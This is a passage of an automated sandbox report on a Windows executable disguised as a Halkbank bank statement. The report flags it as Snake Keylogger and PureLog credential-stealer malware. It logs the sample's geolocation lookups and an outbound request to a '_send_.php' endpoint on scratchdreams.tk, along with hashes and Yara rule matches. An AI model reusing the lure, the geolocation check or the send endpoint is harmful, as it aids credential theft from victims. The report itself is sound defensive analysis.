2024-05-02 09:54:55 UTC	706	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:55 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 14579 Last-Modified: Thu, 02 May 2024 05:51:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xKqt2sPUhrewvhw1WwWKlkeM%2FniftMsoojetJqM3GivStNFHvZTQsJBPIIXb7ldlo8WKSngJJ4SQyKJdB%2Ft3htrAibl5dUEFanwRz2KmgaSDfYH7GvQxRjdR4MzQN8CdOjx%2BOGRF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d721fade2c1891-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 09:54:55 UTC	369	IN	Data Raw: 31 36 61 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 49 4c 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 49 6c 6c 69 6e 6f 69 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 43 68 69 63 61 67 6f 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 36 30 36 30 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 Data Ascii: 16a<Response><IP>191.96.150.225</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>IL</RegionCode><RegionName>Illinois</RegionName><City>Chicago</City><ZipCode>60602</ZipCode><TimeZone>America/Chicago</T
2024-05-02 09:54:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	172.67.177.134	443	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 09:54:56 UTC	63	OUT	GET /xml/191.96.150.225 HTTP/1.1 Host: reallyfreegeoip.org
2024-05-02 09:54:56 UTC	720	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:56 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 14580 Last-Modified: Thu, 02 May 2024 05:51:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IkwLqGN3tpkR22OHGZkAi%2FPL8SW1XNN6F8G0N%2FWNoP1bb%2BJ%2BMOy0OL7K0cOY9TrV0av469OW%2F8Zu9n%2FUE%2BP4Cd46%2BnPD%2Fo89eJBN%2BC7DFnSwAV3q3VVWJfjM7CDQ88VMWgoGiCpm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d721ff09fd4233-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 09:54:56 UTC	369	IN	Data Raw: 31 36 61 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 49 4c 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 49 6c 6c 69 6e 6f 69 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 43 68 69 63 61 67 6f 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 36 30 36 30 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 Data Ascii: 16a<Response><IP>191.96.150.225</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>IL</RegionCode><RegionName>Illinois</RegionName><City>Chicago</City><ZipCode>60602</ZipCode><TimeZone>America/Chicago</T
2024-05-02 09:54:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	172.67.177.134	443	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 09:54:57 UTC	87	OUT	GET /xml/191.96.150.225 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-05-02 09:54:57 UTC	710	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:57 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 14581 Last-Modified: Thu, 02 May 2024 05:51:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kQpgeJqd1p%2FryGfqOVqxJLgwGJIwgEF4evXgILmdOTr1K5dI0vbj2W2vXP7GmtCtn%2FEAzB%2BMsQ9znYStrmDEvoBy5BrugJeRQKbGwU4jVDAjL%2BqlDbl%2F7qCQLAzlHdvxKlUG7IpK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d722040a31c333-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 09:54:57 UTC	369	IN	Data Raw: 31 36 61 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 49 4c 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 49 6c 6c 69 6e 6f 69 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 43 68 69 63 61 67 6f 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 36 30 36 30 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 Data Ascii: 16a<Response><IP>191.96.150.225</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>IL</RegionCode><RegionName>Illinois</RegionName><City>Chicago</City><ZipCode>60602</ZipCode><TimeZone>America/Chicago</T
2024-05-02 09:54:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49714	172.67.177.134	443	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 09:54:57 UTC	87	OUT	GET /xml/191.96.150.225 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-05-02 09:54:58 UTC	702	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:58 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 14582 Last-Modified: Thu, 02 May 2024 05:51:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TI2vwNfrOF88E6MuWIYXYM1OzZYPVxDzz0I3uJQSzs6IEjKQDe1C1wfvX1akEeUSLYFBZvx%2FjGE2Idrn0PrvBDXd3T8p0kgwRaUBImaDnKnAqWw2gy7kn1yqGJ9jzqb247Toez86"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d7220959a532c7-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 09:54:58 UTC	369	IN	Data Raw: 31 36 61 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 49 4c 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 49 6c 6c 69 6e 6f 69 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 43 68 69 63 61 67 6f 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 36 30 36 30 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 Data Ascii: 16a<Response><IP>191.96.150.225</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>IL</RegionCode><RegionName>Illinois</RegionName><City>Chicago</City><ZipCode>60602</ZipCode><TimeZone>America/Chicago</T
2024-05-02 09:54:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	172.67.177.134	443	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 09:54:59 UTC	63	OUT	GET /xml/191.96.150.225 HTTP/1.1 Host: reallyfreegeoip.org
2024-05-02 09:54:59 UTC	708	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:59 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 14583 Last-Modified: Thu, 02 May 2024 05:51:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HVTiUbgkGxjh3vYU%2FPPN9yXsGcs6orsOZ9vubmyIir72n%2F5%2F8qNEHQp5RZTZJrnfA8XVHszTZvTY9h3IFtLoGhpaDiZjPakvciQU33yslDNUDMpmiHPdp5m5%2Bb8iudoJ7y9lc7cw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d722121aa9431b-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 09:54:59 UTC	369	IN	Data Raw: 31 36 61 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 49 4c 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 49 6c 6c 69 6e 6f 69 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 43 68 69 63 61 67 6f 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 36 30 36 30 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 Data Ascii: 16a<Response><IP>191.96.150.225</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>IL</RegionCode><RegionName>Illinois</RegionName><City>Chicago</City><ZipCode>60602</ZipCode><TimeZone>America/Chicago</T
2024-05-02 09:54:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	172.67.177.134	443	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 09:55:00 UTC	87	OUT	GET /xml/191.96.150.225 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-05-02 09:55:00 UTC	706	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:55:00 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 14584 Last-Modified: Thu, 02 May 2024 05:51:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FSuqTy18t0dWcFVLTHuexjBFtJjZK49LF0LTVuppKT7XzjRh8cmPlO4tDIxRhkdNvhLQ5Wd9%2FvN9PoArWbCdQtwec7TGbo3KeyTIQWLxgNiUdn4tH1q9o%2FZVgbgtcbK6sqb7MBbZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d72218fcc343a3-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 09:55:00 UTC	369	IN	Data Raw: 31 36 61 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 49 4c 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 49 6c 6c 69 6e 6f 69 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 43 68 69 63 61 67 6f 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 36 30 36 30 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 Data Ascii: 16a<Response><IP>191.96.150.225</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>IL</RegionCode><RegionName>Illinois</RegionName><City>Chicago</City><ZipCode>60602</ZipCode><TimeZone>America/Chicago</T
2024-05-02 09:55:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49721	172.67.177.134	443	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 09:55:04 UTC	87	OUT	GET /xml/191.96.150.225 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-05-02 09:55:04 UTC	700	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:55:04 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 14588 Last-Modified: Thu, 02 May 2024 05:51:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ngCvVCNRH96VG8ovf4to1DBQDCuAa2EVnfwXuZHfraofkZDxmRmTN3omRWRRdFyuAThNfvnutsT83s05AvDSCxUSjINWBwxBOxoeQzgQ3Bq5ljJjn1mtwREGrUTglKolE4RQYfCr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d722338fe87d1a-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 09:55:04 UTC	369	IN	Data Raw: 31 36 61 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 49 4c 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 49 6c 6c 69 6e 6f 69 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 43 68 69 63 61 67 6f 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 36 30 36 30 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 Data Ascii: 16a<Response><IP>191.96.150.225</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>IL</RegionCode><RegionName>Illinois</RegionName><City>Chicago</City><ZipCode>60602</ZipCode><TimeZone>America/Chicago</T
2024-05-02 09:55:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49723	172.67.177.134	443	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 09:55:11 UTC	63	OUT	GET /xml/191.96.150.225 HTTP/1.1 Host: reallyfreegeoip.org
2024-05-02 09:55:11 UTC	704	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:55:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 14595 Last-Modified: Thu, 02 May 2024 05:51:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qqTE9TB%2FDl5P4MrRfi8vbLIg1LdRvstWOAPDxpspCEqMWXpkVcEEraOTyMY9vrQlXqIWJVk3e2BfxxLXWXR4Vnr28MyvjnjCWjZowBr%2BOFoyj4j0gaPB1759FMPpKC5MLz4UFq5a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d7225edfa14270-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 09:55:11 UTC	369	IN	Data Raw: 31 36 61 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 49 4c 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 49 6c 6c 69 6e 6f 69 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 43 68 69 63 61 67 6f 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 36 30 36 30 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 Data Ascii: 16a<Response><IP>191.96.150.225</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>IL</RegionCode><RegionName>Illinois</RegionName><City>Chicago</City><ZipCode>60602</ZipCode><TimeZone>America/Chicago</T
2024-05-02 09:55:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49726	104.21.27.85	443	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 09:55:12 UTC	79	OUT	GET /_send_.php?TS HTTP/1.1 Host: scratchdreams.tk Connection: Keep-Alive
2024-05-02 09:55:47 UTC	737	IN	HTTP/1.1 522 Date: Thu, 02 May 2024 09:55:47 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pDEb%2FtHtsURGK2SUSrCw0D9oOsujuoWrKBo1Ba1I9YM1MQJLns4YamWO9wdFVlvEHPowkksd1PypE9Lql9SHxmkxatlCd664%2BK9BjSnW%2B%2FYKfnkmxW353mdcloY6WA1TNw9R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 87d72262aebf43a9-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 09:55:47 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Target ID:	0
Start time:	11:54:50
Start date:	02/05/2024
Path:	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe"
Imagebase:	0x300000
File size:	877'056 bytes
MD5 hash:	42199F4A8E3D9FE6CE26A7D4922AFEC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2002086129.0000000006C00000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1980117407.0000000002771000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1980117407.0000000002813000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:54:52
Start date:	02/05/2024
Path:	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe"
Imagebase:	0x5a0000
File size:	877'056 bytes
MD5 hash:	42199F4A8E3D9FE6CE26A7D4922AFEC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	204
Total number of Limit Nodes:	15

Executed Functions

Function 027040AA Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8645b1fab4622a995265d4191348d54e6b7a11b22a52743923c149f7c8a8a6
Instruction ID: b97453a4541fb19291b01defad9e36ad3f79dce0796dcb6bb4bc6778f6b93529
Opcode Fuzzy Hash: 7d8645b1fab4622a995265d4191348d54e6b7a11b22a52743923c149f7c8a8a6
Instruction Fuzzy Hash: 3DE1AA707016148FDB29DB75D4A0BAEB7FBAFC9704F2445AED6469B290CB30E809CB51

Uniqueness

Uniqueness Score: -1.00%

Function 06D4C1E0 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2398e7be5c2a8e06aec64ebe93b47113f7eb7bdd0abd94ca113f3347bd3f546
Instruction ID: 7e059b800d9a172d8abdb32deeaf490ce17b6ae192dd3a1b17f60ea1169e84b3
Opcode Fuzzy Hash: b2398e7be5c2a8e06aec64ebe93b47113f7eb7bdd0abd94ca113f3347bd3f546
Instruction Fuzzy Hash: B651C3B4E061199FCB44DFAAD5849AEFBF2BF89300F14D126E409A7315DB30A942CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0255D458 Relevance: 6.1, APIs: 4, Instructions: 136
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0255D4E6
GetCurrentThread.KERNEL32 ref: 0255D523
GetCurrentProcess.KERNEL32 ref: 0255D560
GetCurrentThreadId.KERNEL32 ref: 0255D5B9

Memory Dump Source

